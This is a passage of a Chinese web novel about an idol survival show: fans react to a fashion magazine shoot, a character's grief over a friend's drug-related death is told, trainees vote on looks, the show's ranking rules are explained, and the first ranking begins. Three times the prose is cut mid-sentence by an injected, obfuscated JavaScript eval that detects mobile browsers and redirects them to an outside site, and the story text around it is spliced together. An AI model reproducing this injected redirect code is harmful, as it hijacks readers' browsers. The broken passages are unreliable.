由于哪怕中低端线衣服也是四位数起步,打完折六七百的价格也不是大多数人能够负担得起的,所以很少有人会来Patrox逛,但今天不同。 导购痛苦又快乐地接收着vip办理请求,长长的队伍甚至排到了商场中心,营造出一种今天商场是不是大酬宾的假象。 “呜呜呜Patrox也太抠了,我大小老公都在居然死都不肯加印。” “可以理解吧,他们又不靠这个赚钱,增加印刷的话没什么意义诶。” “我求求他好吗,球球P家加印吧!小女子只是因为上课没办法看手机呜呜呜呜” “寻宝啊!妈妈没来得及啊!这群女人太疯了!” “就是啊你们寻妈神经病吧!我是丛赫老粉了,本来还说2万本应该还算能抢得上,结果我的妈,寻妈一下子涌进来全没了……” “你就庆幸吧,丛赫老师是代言人和要拍新一期品牌杂志的事大家都提前知道,但寻妈这边可一点没消息他要当大使啊,你要提前通知一个试试,河粉应该一本都抢不到。” “河粉现身说法:没错他说得对,粉丝群里所有抢到的都是寻妈那边公告出来前抢的,傅寻砚粉丝组那一通知……绝了,一本没拿到啊。” 两家粉丝在官网底下哀嚎。 本来,由于寻妈动作粗鲁一下子搞成了垄断,河粉那边还想骂人的,但傅寻砚大粉突然跳出来呼吁不要闹事,一起和官方提意见,不要把压力内部化。 所以竟然齐心协力都去官网留言了。 只可惜Patrox态度很硬,申明杂志不是他们的产业,印品牌杂志只是为了提供当季品牌衣物参考,不会进行提价或加印的操作。 当然,生怕引起众怒,Patrox很客气地表示,虽然可能无法拿到纸质版杂志,但相关图片的电子版都会在周二下午投放在官网,粉丝可以自取,但禁止商用自印,如有违规将报警处理。 粉丝仍然哭唧唧央求,但心里稍微平衡了些许。 大多数人倒不是一定要杂志本身,而是看图,只有少部分才会将纸质杂志看做一种收藏品而必须拿到手。 等到周二下午,Patrox的官网瞬间涌入五十多万人,堪称网站建站以来人最多的一天。 昨天预售后,杂志还在打包寄出中,所以今天是所有人第一次看到杂志内容。 “我去好激动啊!!!!”小美偷偷打开网站,朝着旁边的柳雨尖叫。 她两还在加班,但怎么着也得抽空第一时间看傅寻砚参与的第一本杂志。 柳雨也捏紧了拳头,打开十人小群。这是她和陈敛清一起考核后招进来的新人,大家一起负责管理傅寻砚的粉丝。 刚刚稳定军心,禁止和前辈粉互骂的警告就是通过这八个人扩散的。 [派派甜心:啊啊啊啊啊啊啊姊妹们我现在只会尖叫] [小熊软糖不是德国:还有三分钟对吧,还有三分钟!我时间没错吧?] [清凉薄荷水语录:摸摸头jpg,是的没问题,放心] [侠士无双:悄咪咪透露一嘴,我姐妹是P家工作人员,傅寻砚的图她看过……] [派派甜心:啊啊啊啊啊小霞不要当公公!然后呢,到底怎么样!] [侠士无双:一个字,绝!她说特别是和丛赫双人的那两张,哇瑟氛围感拉满了] [一只特立独行的猪:居然吊我胃口!你今晚睡觉最好眼睛睁着站岗!现在超级想看又看不到的心是如此迫切] 好不容易捱到了五点半,色中饿鬼们迫不及待点进链接,然后…… 卡退了。 “艹!”小美和柳雨没忍住齐齐骂出声,捂住嘴的瞬间发现貌似整个办公室都骂了同样的话。 连部长也是…… “所以,姐妹们……”小美微微站起身试探地偷窥大家的屏幕。 “咳咳咳。”部长捂住额头,“作为媒体公司,我们也要紧跟潮流,P家新品可是重点关注对象,所以,大家看吧,记得明天开会提炼一下收获。” 好诶!一办公室的十几个姑娘都沸腾了,立刻从工位上跑下来到处看有没有哪个幸运鹅挤进了服务器。 “呃……”角落里部门唯一的男丁颤巍巍举手,“我用的游戏本网速超快,所以……” 轰——他成功被挤出了位置。 首先,游戏本的屏幕很大。 其次,那填满了整个大屏的画面,美到令人失语。 寂静的晨雾之中,青年站在黄色的草地上向后转身,黑色及膝风衣明显是羊毛混纺真丝面料,在纯黑中闪着银灰暗纹。 胸前的黑玛瑙扣因为风衣的扬起而呈现,就像是恶魔张开单翼,潇洒而恣意。 衣服是很好看,好看到不管男女,不管高矮,都想要买一条来收藏。但紧接着,视线上移,就不得不牢牢黏在了青年的脸上。 那是一张无法用言语形容的,能够将时间静止的脸。 青年伫立在微风中,眼眸微微眯起,像一尊黑曜石雕琢的石像,带着隽永的美。 这是一张很年轻的脸,但也是一张充满韵味的脸。 他的眼眸在诉说着神秘故事,可隔着屏幕听不清,于是只能越凑越近,直到鼻尖撞击屏幕才醒过来自己在干什么傻事。 从T区到唇线,无一处不精致,那些线条是那么流畅,他脸上的明暗又是如此分明。 “我勒个神仙脸蛋。” 小美倒吸一口气感叹,随即身边想起了此起彼伏的抽吸,甚至有女孩太过激动哭了出来。 “呜呜呜太好看了抱歉,真的太好看了。” “快点快点翻页,还有两张双人照和一张单人照呢!” 另一张单人照也很快被翻到,因为抢到鼠标的小美抱了私心,坚决先看单人的。 画面中,眉眼优越的男孩这次彻底只露了半张脸,他抱着白马的头颅,虚握缰绳的左手指节上有当季P家主推的蛇形骨戒。 戒面镶嵌的并非宝石,而是块棱角分明的深空灰石头,和白马鬃毛上的装饰呼应。 当薄雾掠过他低垂的睫毛,枯枝与冷空气在身后构筑成无形的王座。 这张照片拍摄时人脸打了光,肤色要比先前那张白皙,比起真实,这张有一种梦幻的感觉,傅寻砚就好像沉睡的王子。 “嘿嘿嘿嘴唇看起来好好亲……” “是啊是啊,脸也香香的样子嘿嘿,还有小痣……” “啊啊啊啊我更想要纸质版了怎么办?这个痣我真的想狠狠吻上去啊啊啊!” 最后还是来到了双人照。 但翻到封面的时候小美不由得“咦”了一声。 因为比起寻常杂志的封面,这张封面说实话,有点——随意了。 画面中有两个男人,一个坐在白马上,脊背挺直,嘴角噙着一点温柔笑意,以至于那张过分慵懒昳丽的脸突然多出些许类似于宠溺的氛围。 另一个男人站在他身边,手自然地抚摸着赤色马的脊背,那张被称为“百年一遇”的熟男脸蛋此刻微微偏转又扬起看着马上的年轻人,脸上的表情像是被逗笑后的乐不可支,笑得褶皱都出来了。 但无损他的魅力,反而是这种不经意露出的“瑕疵”,让他看起来如此放松和生动。 两人的衣物不必说,完全将完美的身材优势发挥出来,高级中透露着随性,简洁大气。 ** “啊,没想到他们把这张照片作为封面了。”傅寻砚打着电话,看着杨清那张想说什么又说不出来的脸,轻松地和对面交谈。 是的,对面是丛赫,专门要到了节目组的电话,在“阔别”两日后给傅寻砚来电。 成熟男性充满魅力的嗓音在耳畔回响:“啊真是的,我回去问问薇薇是不是偏心,把我褶子暴露得那么明显,偏偏你帅得跟个王子似的。” “那确实得问问,说不定林老师还真是喜新厌旧了,果然还是我这种年轻男孩比较有优势对吧。” “哈哈哈你等着,我这就给你录下来给媒体爆料你这个自恋狂。”丛赫挥手示意远处的工作人员等等,抬起手表看了看时间。 “我的休息时间结束了得回去工作,你在那什么选秀好好吃饭好好休息哈,出不出道的没关系,实在不行你来我这,我帮你介绍一些导演,我们换赛道拍电影好了。” “说起来……不是我给你牵的线,是这边有位新人导演看了节目后,对你很感兴趣。他手里的项目我虽然不清楚,但也是熟人介绍的,投资不小,是一个非常好的机会。” “我建议你和经纪人商量一下,可以先来试试,签意向书,等选秀结束后再进组。” 丛赫愿意给年轻人机会,傅寻砚没理由不应,再说那位导演的邀约在周四,刚好排名宣布后可以再去接触一下。 《新世纪》在这一点上很宽容,只要不在排练阶段乱接外务,他们很鼓励练习生去扩大知名度反哺节目,虽然除了傅寻砚,目前基本没有投资人看中这节目的“小咖们”。 傅寻砚挂了电话,杨清超绝不经意偷听的动作也太明显了。 “咳咳,是丛赫老师啊。”杨清眼珠子转着。 “嗯。” “那有没有可能……” 傅寻砚无奈,“丛哥昨天刚刚飞巴黎,很忙,我想不太可能来。” 心里更是暗笑,他和丛赫相性是很合,所以即便只合作了一次但确实关系不错,可这并不代表他能越界去蹭丛赫什么。 “好吧。”杨清失落地挥手,但转眼想起傅寻砚现在是节目的紫微星,立马叫住鼓励了一番。 “寻砚呐,明天就要公布排名了。”他挤了挤眉毛,“有没有什么想问的?” “没有,谢谢。”傅寻砚直接退出办公室,与此同时他听到办公室内带着笑意的“这小子!” 啊,真好啊。 不好吗?只要当一个人的存在能够影响周边人的利益,那么这群人看起来个个都是好人,他们友善、亲切、和蔼,即便身处“高位”也能和你谈笑风生,一点架子不摆。 可对比第一次踏入这个办公室时候的他呢? 没有欧瑞在身后的支持,没有Patrox的肯定,没有丛赫的结交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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因为陆凌科是明星,是生活光鲜亮丽没有烦恼、受人追捧的明星,无论因为什么他都不应该自甘堕落。 至于苦衷……呵,平头百姓活得不辛苦吗?谁有义务去体谅一个罪人呢? 是,我明白,我知道……丛赫反复劝说自己,但仍然对这个世界、这个社会的冰冷失望,以及为那个曾如阳光般照耀他的人,感到真真切切、无法发泄的……绝望。 陆凌科的坠落源于他对公司高层的举报。 一腔热血的青年虽有私心,却也敢于冲在前头对不公平发声,他将违法交易的证据搜集罗列好,交给了信任的媒体。 然而交易没有被曝光,他却从此黑料不断。 才华横溢的年轻人突然被兜头凉水袭击,无尽的追求、理想、抱负轰然倒塌,沉舟折戟。 他被迫选择了歧路,试图用错误的方式麻痹神经,最终命丧黄泉。 丛赫没有挽留住他,在他打来电话的那个深夜,丛赫在外地出差。 好友日复一日沉溺于酒精和药品的堕落,也开始让劝不住他的丛赫身心俱疲,他在电话的最后说出了永远无法原谅自己的话。 “凌科,你这样生活着还有意思吗?为什么不振作一点呢?过去的你可以唾弃公司,唾弃那些黑暗,现在的你呢?你和他们共沉沦了你知不知道!” …… “晨间新闻为您报道,今日凌晨两点,著名影星陆凌科被发现在家中溺水身亡,警方在其体内检测出高浓度酒精和毒品,疑似在不清醒的状态中失足跌入浴缸溺死。” 手机滑落。 丛赫没有出现在陆凌科的葬礼,所有人都不允许他去,哪怕当时的他还是个徘徊在十八线的新人,根本不会引起注意。 陆凌科的葬礼在一个下着暴雨的夏日,现场除了他父母和鬣狗似的记者,没有任何圈内好友。 泥泞的土飞溅到棺椁上,雨滴敲打着最后变成一小盒的骨灰。 父母神情呆滞,没有悲伤也没有愤恨,只有不理解。圈外的他们无法理解自己的儿子怎么会走上歧路,狼狈地独自死在公寓。 他们永远无法了解导致这一结果的原因,那些真相。 没有人能理解。因为知道真相的人攥着证据,在冷笑,在遮掩,而善良的人,却骂他最狠。 丛赫机械地工作,在笑语晏晏中爬上了高位,领到了很多很多奖杯,他无法像陆凌科那样抗争,他只会逃跑。 因为他亲眼见证过抗争的下场,他承认他害怕了。 可他是那样愧疚,每一个大雨的日子,雨滴敲打窗台,仿佛都是对心灵的拷问。 “你现在仍然认为他的死,是因为你吗?”医生的笔尖在纸张上发出声响。 丛赫苦涩地笑了,声音嘶哑,“是啊。” 医生脸色有些严肃,“但是明明上次你说已经释怀了,最近是发生什么了吗?为什么突然这种想法又回来了?” 丛赫的琥珀色眼珠盯着瓷砖地面,“因为,我遇到了一个人。” “和陆凌科很像?” “不。”丛赫摇头,“和他很不一样,他比凌科坚强很多,从他的眼神我看得出来,他有着远超我们当年的坚韧。” “那为什么?” “我、不知道。”丛赫抿唇。 医生给丛赫开了一些安定,劝导他还是要放松心情,并且残忍地叮嘱他,如果从理智出发,他会劝丛赫离那个傅寻砚远一些。 心理问题无法治愈,只会因为时间的流逝而淡化。 恐怖之处正在于此,人的一生是如此漫长,任何一秒的刺激,那些在平凡人眼里不值一提的刺激,都会成为一个病人绝望的源头。 丛赫拿了药,没有答应也没有拒绝,只是拖着沉重的步伐离开了大楼。 32.第三十二日 pick取向专场 “啊,你问我谁最帅?” 痞里痞气的男孩蜷缩在高脚凳上,旁若无人地旋转,有人觉得他像混混不正经,有人却格外欣赏他的随性。 选管不禁感叹,达裴不愧是目前男粉最多的一位练习生。 “是的,要求选出101位练习生中你认为最帅的一个。” 话音刚落,坐着的男孩像离弦之箭一样奔出,一跃而起摘下一个牌子,“好啊,节目组是不是歧视我把我放那么高,别人想选也选不到哇。” “不可以选自己哦。”选管在身前比了个叉。 “哇,太卑鄙了。”达裴凑近摄像,仍然笑得龇牙咧嘴,“看看这张帅气的脸蛋,怎么会有人不选它呢。” 选管扶额,她就知道这二哈不会按流程好好走。 说起来达裴真的是精力十足又爱玩闹,他的脸从主流而言不能说帅,而是有种很奇妙的魅力,加上他的个性,就很吸引人。 “一定要选其他练习生,请快选择。” “好吧好吧,让我来看看哪个比我略差。”达裴语出惊人惯了,而且总是一副死猪不怕开水烫的样子,根本无视网暴可能性。 他的wb能平安无事到现在,多亏粉丝们卑微地到处道歉,也因此冠上了“怂包”的名号。 “那就这个。”达裴傲娇地把印着傅寻砚脸的圆牌扔进框子。 “能说一下原因吗?” “原因?”达裴一脸不可置信,“你问题不就是谁帅吗?对啊,我就选寻宝,原因就是他帅啊。” “寻宝?”选管眼睛放光,似乎找到了磕糖的点,却没想到下一秒就被某人以雷霆之击粉碎。 达裴招了招手,“嗯哼,寻宝,我决不允许这个称呼变成尹星蘅的独特爱称,我,才是和傅寻砚关系最好的人!我们还是舍友呢!” 不知道为什么,自从一公选曲之后达裴就和尹星蘅杠上了,两人和小学鸡一样到处掐架,明明一个vocal一个rapper八竿子打不着…… 好吧好吧知道了你们都喊“寻宝”,选管有气无力地给出下一个问题。 “咦~”达裴目露嫌弃,“什么叫我是女生我会喜欢谁?不选,我是女生我当然独美。” 选管已经不想在这货身上挖糖点,快速挥手下一题。 “如果他是女生我会喜欢……”达裴愣住,很快二露嫌弃。 “不行,不能想象。” “这又是为什么???”选管不能理解,作为一个打工人她真的好难。 “因为这种想象一旦开始,就会觉得再也不能直视兄弟们的脸了。” …… “你快滚吧,以后所有煽情环节都不带你玩!” 达裴被一脚踹出后采室,等在门口的其他人被吓了一跳。 “你在这也能闯祸?”白闻及丧失了表管,着实不可置信。 “你和选管也能掐架?” “哪有?”达裴委屈,“我就真诚地回答问题啊,谁知道她为什么这样。” [达裴:我不知道啊,我真不明白啊……] [好的达裴在我这被判定是死直男,燕达闻声be了] [be什么be,我不许!你看他拒绝了那么多问题,还是只选了一个寻宝诶嘿嘿嘿] [前面真会嗑……] [嗑兄弟情也是嗑啊,而且达裴其实很精明的,不回答就是想保护寻宝吧] [谁说不是呢,节目组都什么破问题,而且这个环节历来都是炒cp专场,不炒也好] [《新世纪》真的很纯了,虽然大家嘴上都在怼,但很多人关系好是能看出来的] [就是,我觉得是群像很好的选秀,除了个别人……] [喜欢嗑cp的移步《前进吧》,甜到发腻发齁,去看看工业糖精回来你就知道《新世纪》有多绝了] [咱就是说真挚的感情要细品,而不是铺天盖地宣传] [同意前面] [啊?隔壁也开播了?] [……隔壁一公都放出来了,绝了,热度因为傅寻砚完全被碾压了] [可不是吗?《新世纪》收视率转化约等于16%,《前进吧》才3%,完全被吊打] 但网友们的“纯”还是说早了。 事实证明,纯到过头,就会有点微妙了。 沈迟:“我选傅哥,他这张脸一看就很聪明,感觉多看看我能考好高考。” 旻海:“寻砚吧,三庭五眼分布都很好,大五官留白恰到好处,轮廓流畅,很适合演影视剧balabala” 白闻及:“傅寻砚,没有为什么,不是可以自由选择吗?” 尹星蘅:“必选寻宝!我们是好朋友,而且我相信他也会选我的——啊对了,达裴是不是也选了寻宝?到时候麻烦把我剪在他前面,然后给我单独安排一条哈。(站定)寻宝你真的很帅啊!我爱你啊~” 叶莱:“不能自己?傅寻砚。别问我为什么赶紧放我走,我怕我立马后悔。” 江瀚:“寻宝!寻宝!寻宝!(省略十个重复内容)” 选管看着摄影机里的素材,表情复杂。 你说不好嗑吧,上位圈都选了傅寻砚,你说好嗑吧,这一个眼神坚定像要入党,充满了真挚的敬意和喜爱,不像看爱人(小声逼逼),而像在看人生目标。 喂喂喂,傅寻砚是人,和你们一样的人,为什么才短短半个月你们就把他当神仙了??? 比较意外的是,伯弥也选了傅寻砚。 这是唯一一个虽然是赛前大热,却至今没有和傅寻砚产生交集的男孩。 《新世纪》多熟男,伯弥是少有的可爱挂练习生。他长着一张清澈干净的脸,比起叶莱少了一分锐利,多了一份未经世事的单纯。 他看着一墙的大头贴,快速摘下一个后低头。 选管没注意他的表情,只是惊讶地问了一声:“你也选傅寻砚?” 傅寻砚吗?真巧。伯弥眸光微闪,再抬头时眉眼弯弯,“嗯,傅哥真的很帅,不过我们目前还没说上话,希望之后有机会合作。” [伯弥宝宝好可怜啊,妈妈心疼] [有什么心疼的,不是自己实力差吗?这一公多亏旻海他们带,把他藏在了队伍后面,要不然他那新手新脚真的很破坏舞台] [前面不要太刻薄,又没否认实力差,只是心疼孩子没机会合作而已] [算了吧,只要傅寻砚有选人的机会,就绝对不会把伯弥选进去的,一公已经说明他看人眼光很高,努力和天赋你至少有一样,但显然伯弥两样都没有] [放屁吧,伯宝宝哪里不努力了?] [哟哟哟,大家为了等他熬夜排舞,他却一个人逃出去emo两小时这就叫努力了?] [嘴下积德吧,人都有崩溃的时候……] [呵呵,人家是崩溃两小时练习十小时,你家是二十四小时全线崩溃] [咳咳不要歪楼现在不是在讨论傅哥的颜值问题吗?] [这没什么好讨论,秒了] [是的,秒了] [啊啊啊果然,傅哥30票领先啊我去,这应该是选秀史上最高票获选“颜值第一”的练习生吧,都快接近三分之一了] [叶莱、白闻及11票,Kenny、达裴8票,沈迟、旻海和尹星蘅都是7票,其他都是零零散散的小票了] [这么一排名,其实《新世纪》真的好多帅哥的,感觉个个都能上一波热搜的程度,比内娱某些丑男耐看多了] [十年秀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15262232|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芬来报道,是的,《新世纪》是我看到现在为止帅哥含量最多的节目了,个个盘条亮顺] [笑死,但另外两个问题都是什么情况,感觉不像认真做题,都在做效果] [“如果他是女生我会喜欢”第一名达裴,理由是,达裴变成女孩会很好笑] [“如果我是女生我会喜欢”第一名是刘永善,因为他现在就很好笑] [救,这届选秀怎么了,清醒点啊你们,你们是来偶像选秀的不是来做喜剧人的!一个个关注好笑干什么?] [谁知道呢,之后出不了道打包去喜剧赛道吧] 镜头一转,节目组果然懂看点,把傅寻砚剪到了最后一个。 “颜值的话,选叶莱,因为他确实很帅。” “如果他是女生我会喜欢……”镜头里的男孩垂眸,似乎在认真思索。 [好恐怖啊,居然是箭头中心傅寻砚回答问题最认真……] [我现在心无波澜谁懂,等会傅寻砚给什么答案我也只会:啊他们的兄弟情真好啊] [笑死想起之前有个唯粉的弹幕:社会主义兄弟情把棺材照得暖暖的] [啊可是腐女还是觉得好嗑……因为他们太小心翼翼你懂吧,就是每个人都不跳陷阱,反而说明嘿嘿……] [我来替你补充:这是付出了多大努力克制后的汹涌爱意啊,为了保护我们之间的感情,我不惜在镜头前死装!] [限你十分钟把最后一句破坏氛围的改咯!] “我会喜欢,旻海?”傅寻砚拿下了旻海的圆牌,偏偏因为旻海的牌子放得也比较高,他不得不踮脚去取,没发现隐藏在幕布墙后的摄像机。 [这什么?这什么?这什么?啊啊啊我尖叫!] [裤衩呢?我裤衩呢?] [姐妹你裤衩在这,给我穿上!] [吸溜吸溜深藏不漏啊你傅哥,这绝对有八块!] [我截到我截到了旋转尖叫爬行嘶吼!] [哇白巧克力,高品质白巧克力,我吃的真的很好] [别吵了别炒了,让我听听理由呢!我要听寻宝的理由!万千佳丽你为何独宠旻妃?] “啊,因为他真的很善良,很认真,也很脆弱,如果他是女生的话活得可能会更辛苦,我会好好爱他。” “如果我是女生我会喜欢……达裴吧,虽然他看起来嘻嘻哈哈的,但其实感情细腻……” [我来!这题我会!——我会想好好保护他] [救,前面那群练习生——“好笑”,傅哥——“我想保护他们”,你们到底在做什么题,我们看的是不一样的题板吗?] [说实话,傅寻砚应该是101人里内核最稳定的那个,他确实能看到别人的脆弱点并且愿意帮忙] [是啊,不管是当时带走旻海(周奇家不要跟我辩驳,你家就是麦麸狂魔),还是鼓励段琪琪他们都能看出来,傅哥还是挺利他主义的] [说到这个就来气,我寻宝那么好一孩子,当时还被排挤……] [是啊,刚刚周日放出前面选曲时候的过程真的看的气死,邵若舟和周恒宇是不是有什么毛病?] [啊啊啊别提了,都怪他们!吴妈真的怒了,要不然我儿才不止14票,绑票把我儿的c位抢走真的太恶心了!] [可惜这个放得太晚了,第一轮打投都结束了,周应该排在第九左右,邵若舟也有十几呢,唉,要是早点放出来,大家知道这两货是这样的人就不会有路人给他们投票了] [有无人知道傅哥的票数啊?还有叶莱] [这两家应该就是一二之间斗争了,只不过最后五小时的打投是黑箱的,不知道有没有哪家会冲刺。喂现在都结束了,有没有寻妈和叶妈出来说说啊?] 33.第三十三日 规则专场 《新世纪》的播出日程终于趋于稳定。 直播每天都会开一会,但正式舞台都放在周五,开全天直播。周六晚六点更除舞台以外的日常和排练,如果这周遇上二公三公,则周日晚六点加更舞台。 当然,还有零零散散的什么周三更物料,周四vlog,总之傅寻砚也弄不清楚。节目是邀请了他去拍摄,但傅寻砚对此没有特别大的兴趣,基本都婉拒了。 他也不是每天歇着,刚刚周末才拍摄了Patrox的杂志,其他时间都和不定人选泡在工作室,也因此被戏称“恋与寻宝之工作室版”。 粉丝无法窥屏,不知道傅寻砚在干什么,但与傅寻砚关系好的几人就不同了。 “这首歌真的很好,你打算……” “我打算匿名把它投给节目组试试。”完全素颜的男孩疲惫地陷在座椅中,难得看起来有些…… 该怎么说呢,不那么高大,而是小巧,那种心灵上的“小巧”。 达裴摇了摇头把乱七八糟的想法丢出去,凑过来哼唱着歌,最后变得一脸严肃,“那你别投三公,投总决赛行不行?” “为什么?” “三公是粉丝选歌,不会给我选这个风格的,但总决赛我就能自己决定了。” 傅寻砚笑了,“喂,别那么乐观啊,要想总决赛有主动权,你的排名可得使劲往上,除了第一第二,其他人很难100%投中吧?” 时至今日,选秀的规则依旧没变。一公是老歌重现、自由组队、同首PK。 二公则是position考核,rap、vocal、dance三个主题下各有四到五首歌,每个练习生按照排名从高到低进入房间选择一首自己将要表演的歌曲。 二公开始,排名决定一切的趋势已经有所显现,但暂时不涉及组内票人,唯一的危险仅在于排名太后而失去选歌权利。 比如,假设vocal主题下共五首歌只给了30个位置,而1到30名全都选了vocal而把所有队伍填满,那么后面的练习生就无法再进入vocal组,只能选rap或dance。 这样的规则,使得每年都有排名五十多位的主唱练习生被痛苦地逼入rap组,开启rap人生,上演drama的舞台。 三公的曲目都是新歌,也就是说直到这一步,练习生将拥有自己的歌曲。但具体哪一首都靠粉丝盲投,这也是节目组到后期为了提高粉丝黏性而增加的互动。 即练习生无选歌权,粉丝通过官方开通的渠道,将自担投入对应歌曲。 如果傅寻砚的粉丝在ABCD四首歌都投了他,分别有100票、67票、32票和1票,这种情况下傅寻砚就自动进入A组。 当然,再假设A是质量很高的歌曲,所有粉丝都想把自担塞进去,就会造成A组冗员。 这种情况下,节目组会先进行第二次排名,先刷掉一部分人。也即哪怕得到了歌曲,如果你排名不够高被节目淘汰,等于白投。 然后进行票投出局和补位。 票投出局指人多的组通过组内投票,把多余的人踢出局。 补位则是有些不热门的歌,因为组内成员大量淘汰造成人员空缺,需要新人加入。于是那些被热门歌曲投出来的练习生,会轮流去还需要加人的组露面。 糟糕的是他们没有了拒绝权,相当于对方只要想要你,哪怕你很不喜欢这首歌也得被迫加入。 至于总决赛,会有两首竞演曲目,每首歌十人。 这次,则是按排名从低到高进行选歌。第20名的选手第一个上台,假设把自己安排在B歌主唱5的位置,那么他就暂时拥有了这个位置。 但每个高于他位置的人,都能把他挪走放到还空缺的任意一个位置上,然后自己占据B歌主唱5。 所以傅寻砚才会说,除非第一第二,其他人真的很难有定数。当然,严格来说第二也有风险,不过一般来说第一第二间的隐形硝烟会让第一有所顾忌,轻易不去动高位练习生们的位置。 “那我就尽力做到第二咯。”达裴说的很轻松,好像摘取第二名对他来说易如反掌。 他真的很自信,傅寻砚不由得感叹。 “那为什么不争第一?” 达裴难言地看了他一眼,没说话,转头看向了窗外。 周三一睁眼,选管就喊人集合。 等到练习生们昏昏沉沉下楼来到新的录制厅,所有人的脸色都不怎么好看。尤其是几个热度明显过低的孩子,已经开始强笑着与同伴告别。 他们的旅程,好像已经走到了结尾。 这也是无可奈何的事情,尽管每个人都有梦想,但梦想不是光靠追逐就有用的。 傅寻砚坐在提前安排好的位置上,身边是江瀚。 “寻宝。”江瀚笑眯眯打招呼,立马揽上了他的胳膊。 “谢谢你嗷,要不是你,我根本签不了欧瑞这种大公司。” 傅寻砚偏过头,跨越时空,江瀚和最初一样充满了单纯。在娱乐圈的大染缸里,过晚踏进来的江瀚至死都让自己一身洁白。 “别说这种话,欧瑞愿意签你,本身就是肯定了你的能力,跟我没什么关系。” 江瀚笑着看了他两眼,抱住他的肩膀就拼命往他身上拱,“不管不管啦,反正你就是我的救命恩人!” 救命恩人什么的……傅寻砚眼底有些湿润。 现在一切都发生了巨大的改变,但他还是不确定江瀚的命运是否也因此得到救赎。 左手边传来一小片的轰动,傅寻砚抬眸,头顶落下小片阴影。 看清楚来人,傅寻砚立刻站了起来。 “姜pd。” “嗯。”姜苏林拍了拍傅寻砚的肩,那张温润如玉的面孔有着显而易见的疲惫,但并不遮掩看见傅寻砚的欣慰。 “这次公演很棒,之前我们提出的问题你都改进了,就是小曲和翩翩很不满意,说你下一公一定得选跳舞。” 姜苏林又补充,“他们很喜欢你的舞蹈。” “有机会的话,我会的。”傅寻砚点头承诺。 旁边练习生们都盯着这里,姜苏林不太好多说什么,只是浅浅问了问傅寻砚近期的状况。 “对了,真羡慕你啊。”姜苏林的语气突然变得很幽怨,“我也很想和丛赫老师合作来着,可惜一直找不到他人。” “诶诶诶别,我就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266735|164369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羡慕一下,你还真打算把他联系方式给我啊。” 姜苏林看见傅寻砚摸索裤兜找纸条的动作,连连摆手拒绝,然后无奈地揽住了他的肩。 “你啊,别太单纯,行了多的我不说,我去准备了,你也加油。” 姜苏林摆摆手离开,周围很多人围过来问傅寻砚他说了什么。 看着一圈明晃晃想要探听“排名”的练习生们,傅寻砚只好抱歉地表示他只是给予了一些鼓励,并且转达了章曲和蒋翩翩想让自己跳舞的话。 “那寻砚你接下来二公会选dance吗?”后排有练习生提问,所有人都默认傅寻砚肯定进入二公。 傅寻砚依旧回答,有机会他会选。 这件事没必要骗人,再怎么谦虚傅寻砚也不觉得自己的排名会低于10,那么就算前面的人都选dance,他还是能进入dance组。 ——甚至更诚实地说,他会排在前五,他完全有选歌自由。 傅寻砚的优势在于他得到了“特殊照顾”,三天前出过基地。 他不是圣人,在拿到手机的情况下不可能真的屏蔽掉所有和自己、和《新世纪》有关的新闻。所以他很清楚自己的热度,也对排名有所预估。 圈内都在说,傅寻砚的粉丝群虽然成立不久,但秩序井然得可怕,打投一学就会,而且素质良好,如果有新粉出来骂人或挑拨,老粉很快就会抵达战场稳定局势。 最大的功臣是陈敛清和柳雨。 还记得吗?在傅寻砚的“霸凌事件”爆发的当时,陈敛清去宝音找过李鹏程。 在这个新世纪,永远不要信任大粉和明星真的只有单方喜爱和支持的关系。 大粉的影响力足以让所有经纪公司重视从而开展合作,陈敛清只不过把进度推快了一些,抢在李鹏程联系她之前,主动去了李鹏程那里。 她不仅得到了真相,还收到了来自傅寻砚的请求。 陈敛清原本也只是把傅寻砚看做一个新墙头,喜爱是喜爱,但哪天腻了,她会走的轻轻松松毫无牵绊。但当那个请求被转达到自己这里,她突然感受到了一种沉重。 那份喜爱,增加了让人无法脱离的重量。 傅寻砚通过李鹏程真挚地恳请她,以及他还不认识的粉丝管理者,请帮忙引导好粉圈的风气,他不希望她们会肆无忌惮地因为维护对他的喜爱,而去攻击其他人。 陈敛清当即深呼吸一口,思量再三,答应了这个请求。 自此,傅寻砚的粉丝群开始慢慢出现一些规则条例,二级管理员要求所有成员每天回忆一遍守则,约束好自己的言行。 更特别的是,他的粉丝群都是按照城市地区进行区分,一个城市的同担常常会线下见面联络感情,因为傅寻砚这个媒介,从中诞生了很多友谊。 得益于这样的良好氛围,傅寻砚的粉丝群有着强大的凝聚力,在打投这件事上也就更加热切,飞快把傅寻砚拽到了前三。 之所以傅寻砚的预估只有前五,还是因为投票截止前五小时所有票数进入了黑箱,从而必须给出容差。 在傅寻砚给出“会选dance”的回答后,台上灯光亮起,导演宣布初次排名录制现在开始。 34.第三十四日 “第59名,来自蓝色航线的练习生——钟鸣嘉。” 远处一个练习生站起来,激动地捂住嘴,震惊之情溢于言表。 周围的练习生立刻惯性地将他团团围住,表达着恭喜,但在镜头拍不到的地方,好几个表情崩了又崩。 钟鸣嘉对第59名的位置,实在是不满意。 